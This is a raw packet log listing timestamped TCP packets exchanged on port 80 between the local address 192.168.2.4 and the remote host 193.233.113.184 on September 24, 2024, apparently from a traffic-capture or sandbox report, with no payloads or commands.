Sep 24, 2024 21:30:11.655720949 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.655733109 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.655755043 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.655792952 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.655792952 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.655821085 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.655940056 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.656167030 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.656219006 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.656229973 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.656253099 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.656302929 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.656302929 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.656388998 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.656424046 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.656457901 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.656464100 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.656464100 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.656491041 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.656544924 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.656544924 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.656604052 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.656641960 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.656670094 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.656673908 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.656713963 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.656766891 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.656784058 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.656816959 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.656848907 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.656853914 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.656853914 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.656883001 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.656914949 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.656927109 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.656927109 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.657008886 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.657497883 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.657551050 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.657562017 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.657581091 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.657610893 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.657649994 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.657682896 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.657700062 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.657700062 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.657720089 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.657759905 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.657764912 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.657764912 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.657797098 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.657824039 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.657856941 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.658302069 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.658356905 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.658390999 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.658401012 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.658401012 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.658446074 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.658505917 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.658539057 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.658571959 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.658581972 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.658581972 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.658605099 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.658623934 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.658811092 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.659157991 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.659212112 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.659233093 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.659262896 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.659296036 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.659307957 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.659307957 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.659341097 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.659347057 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.659379959 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.659404993 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.659430027 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.659446955 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.659480095 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.659514904 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.659524918 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.659524918 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.659548044 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.659581900 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.659594059 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.659594059 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.659616947 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.659650087 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.659662962 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.659662962 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.659684896 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.659724951 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.659724951 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.659780025 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.659812927 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.659842014 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.659856081 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.660187960 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.660240889 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.660271883 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.660275936 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.660311937 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.660342932 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.660375118 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.660391092 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.660391092 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.660410881 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.660455942 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.660455942 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.660480022 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.660509109 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.660537958 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.660558939 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.660558939 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.660613060 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.660628080 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.660661936 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.660664082 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.660696983 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.660729885 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.660743952 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.660743952 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.660764933 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.660799026 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.660805941 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.660805941 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.660832882 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.660871983 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.660871983 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.661485910 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.661550045 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.661564112 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.661591053 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.661592007 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.661592007 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.661607027 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.661623001 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.661634922 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.661634922 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.661662102 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.661673069 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.661752939 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.661770105 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.661818027 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.661818027 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.662173033 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.662188053 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.662203074 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.662225008 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.662240982 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.662246943 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.662246943 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.662303925 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.662342072 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.662358046 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.662374973 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.662420034 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.662420034 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.662466049 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.662480116 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.662523031 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.662535906 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.662552118 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.662554026 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.662571907 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.662594080 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.662606955 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.662606955 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.662643909 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.662645102 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.662682056 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.662697077 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.662745953 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.662745953 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.663265944 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.663352966 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.663367033 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.663372040 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.663408041 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.663414001 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.663414001 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.663424969 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.663446903 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.663455009 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.663463116 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.663491011 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.663491011 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.663516998 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.663520098 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.663604021 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.741580963 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.741646051 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.741678953 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.741714001 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.741719007 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.741719007 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.741746902 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.741750002 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.741787910 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.741810083 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.741832972 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.741866112 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.741882086 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.741898060 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.741913080 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.741945982 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.742885113 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.742937088 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.742958069 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.742970943 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.742984056 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.743006945 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.743020058 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.743073940 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.743108034 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.743139982 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.743170977 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.743172884 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.743182898 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.743205070 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.743218899 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.743252039 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.743328094 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.743360996 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.743393898 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.743418932 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.743482113 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.743514061 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.743546963 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.743546963 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.743556023 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.743581057 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.743591070 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.743618011 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.743627071 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.743648052 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.743663073 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.743695021 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.744332075 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.744384050 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.744394064 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.744416952 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.744430065 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.744487047 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.744517088 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.744550943 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.744569063 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.744589090 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.744599104 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.744638920 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.744657040 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.744703054 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.744760990 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.744820118 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.744826078 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.744859934 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.744875908 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.744905949 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.744973898 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.745006084 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.745043039 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.745044947 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.745049000 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.745146990 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.745150089 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.745199919 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.745199919 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.745229959 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.745263100 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.745263100 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.745281935 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.745301008 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.745310068 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.745338917 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.745346069 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.745385885 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.745434046 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.745466948 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.745497942 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.745500088 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.745508909 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.745554924 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.746234894 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.746288061 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.746289968 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.746325016 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.746340990 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.746371984 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.746453047 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.746485949 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.746516943 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.746517897 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.746535063 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.746552944 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.746570110 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.746586084 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.746603966 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.746634007 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.746886015 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.746937037 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.746938944 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.746973038 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.746990919 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.747015953 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.747037888 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.747071028 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.747106075 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.747109890 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.747117996 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.747144938 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.747169018 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.747174025 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.747193098 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.747212887 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.747884989 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.747915030 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.747940063 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.747976065 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.747987032 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.748018026 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.748028994 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.748066902 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.748073101 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.748107910 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.748130083 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.748141050 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.748177052 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.748193026 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.748197079 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.748226881 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.748239040 CEST	49730	80	192.168.2.4	193.233.113.184
